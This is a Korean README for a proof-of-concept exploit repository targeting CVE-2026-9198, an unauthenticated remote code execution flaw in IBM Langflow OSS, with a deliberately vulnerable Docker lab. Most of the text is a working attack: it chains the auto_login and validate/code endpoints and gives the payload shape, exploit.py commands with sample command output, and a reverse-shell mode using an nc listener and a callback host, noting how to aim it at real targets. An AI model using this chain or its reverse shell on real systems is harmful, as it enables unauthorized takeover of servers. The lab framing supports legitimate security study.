
CVE-2026-9198에 대한 개념 증명 익스플로잇으로, IBM Langflow OSS의 인증되지 않은 RCE이며, auto_login 및 validate/code 엔드포인트를 연쇄적으로 사용합니다. 승인된 테스트 및 교육을 위한 취약한 Docker 랩을 포함합니다.
CVE-2026-9198에 대한 개념 증명 익스플로잇과 자체 포함 Docker 랩입니다. 이 취약점은 IBM Langflow OSS의 인증 없는 원격 코드 실행 취약점입니다.
이 익스플로잇은 두 개의 엔드포인트 — auto_login(아무에게나 SUPERUSER 토큰을 발급)과 validate/code(공격자가 제공한 Python을 실행) — 을 연결하여 자격 증명 없이 Langflow 서비스 사용자로 코드 실행을 달성합니다.
[!WARNING] 승인된 보안 테스트 및 교육용으로만 사용하세요. 소유한 시스템 또는 명시적인 서면 허가를 받은 시스템에 대해서만 실행하십시오. 이 저장소의 Docker 랩은 의도적으로 취약하게 설계되었습니다 — 자신의 머신에만 두고 인터넷에 절대 노출하지 마십시오. 이 코드를 사용하는 방법에 대한 책임은 사용자에게 있습니다.
| CVE | CVE-2026-9198 |
| 제품 | IBM Langflow OSS |
| 영향 범위 | 1.0.0 – 1.10.0 |
| 수정 버전 | 1.10.1 |
| CVSS 3.1 | 9.8 Critical — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-94 — 코드 생성 제어 불량 ('코드 주입') |
| CISA KEV | 예 — 실제 환경에서 악용됨 |
이 익스플로잇은 인증이 필요 없는 2단계 체인입니다:
GET /api/v1/auto_loginLangflow는 기본적으로 LANGFLOW_AUTO_LOGIN이 활성화된 상태로 제공됩니다. 활성화된 경우 auto_login 엔드포인트는 자격 증명을 요구하지 않고 모든 호출자에게 장기 유효한 SUPERUSER JWT를 발급합니다:
{ "access_token": "eyJ...", "refresh_token": "eyJ...", "token_type": "bearer" }
POST /api/v1/validate/code1.3.0부터 이 엔드포인트는 인증을 요구합니다 (이것이 CVE-2025-3248에 대한 수정이었습니다) — 하지만 1단계에서 유효한 SUPERUSER 토큰을 받았으므로 이 게이트는 무용지물입니다. 내부적으로 이 엔드포인트는 validate_code()를 호출하며, 이 함수는 수신한 모든 함수 정의를 컴파일하고 실행합니다:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- def를 실행
except Exception as e:
errors["function"]["errors"].append(str(e)) # <-- 출력이 여기로 누출됨
def 문을 실행하면 기본 인자 값이 평가됩니다. 따라서 기본 인자가 exec("...")인 함수는 검증되는 순간 임의 코드를 실행합니다 — 함수는 호출조차 되지 않습니다. 발생한 모든 예외는 캡처되어 function.errors 아래 응답으로 반환되며, 익스플로잇은 이를 사용하여 HTTP를 통해 명령 출력을 읽어옵니다.
페이로드 형태 (명령은 따옴표 문제를 피하기 위해 base64로 래핑됨):
def _(a=exec('... subprocess.run(<cmd>) ...; raise Exception(<output>)')):
pass
.
├── exploit.py # PoC (명령 실행 + 리버스 셸)
├── docker-compose.yml # 취약한 랩: langflow 1.10.0 + postgres
├── requirements.txt # requests
└── README.md
requests (pip install -r requirements.txt)docker compose up -d
Langflow는 첫 부팅 시 준비되는 데 1~2분이 걸립니다. 응답할 때까지 기다리세요:
curl -fs http://127.0.0.1:9999/health && echo OK
서비스는 의도적으로 127.0.0.1:9999에 바인딩되어 있습니다 — 네트워크에서 접근할 수 없습니다.
의존성을 설치한 다음 익스플로잇을 랩에 지정하세요.
pip install -r requirements.txt
python3 exploit.py --url http://127.0.0.1:9999 --cmd "id"
출력 예시:
[*] target: http://127.0.0.1:9999
[*] step 1: requesting SUPERUSER token from /api/v1/auto_login
[+] got SUPERUSER token: eyJhbGciOiJIUzI1NiIs...
[*] step 2: reaching RCE through /api/v1/validate/code
[*] executing command via validate/code: 'id'
[+] command output (returned via function.errors):
------------------------------------------------------------
uid=1000(langflow) gid=1000(langflow) groups=1000(langflow)
------------------------------------------------------------
모든 명령이 작동합니다: --cmd "uname -a && whoami && cat /etc/os-release".
리스너 시작:
nc -lvnp 4444
그런 다음 페이로드를 실행하세요. 대상이 같은 머신의 Docker에서 실행 중인 경우 컨테이너는 host.docker.internal(Docker Desktop)에서 호스트에 도달합니다. 실제 대상에서는 라우팅 가능한 IP를 사용하세요:
python3 exploit.py --url http://127.0.0.1:9999 \
--reverse-shell --lhost host.docker.internal --lport 4444
리스너에서 langflow 사용자로 대화형 /bin/sh를 얻습니다.
| 플래그 | 설명 |
|---|---|
--url | 대상 기본 URL (필수) |
--cmd | 실행할 명령 (기본값 id) |
--reverse-shell | --cmd 대신 리버스 셸 전달 |
--lhost / --lport | 리버스 셸 콜백 호스트 및 포트 |
--token | 제공된 bearer 토큰을 사용하고 auto_login 건너뛰기 |
--timeout | 요청당 타임아웃, 초 (기본값 15) |
--insecure | TLS 검증 건너뛰기 (https 대상용) |
LANGFLOW_AUTO_LOGIN=false, 그리고 실제 슈퍼유저 자격 증명을 설정하세요.validate/code 코드 주입)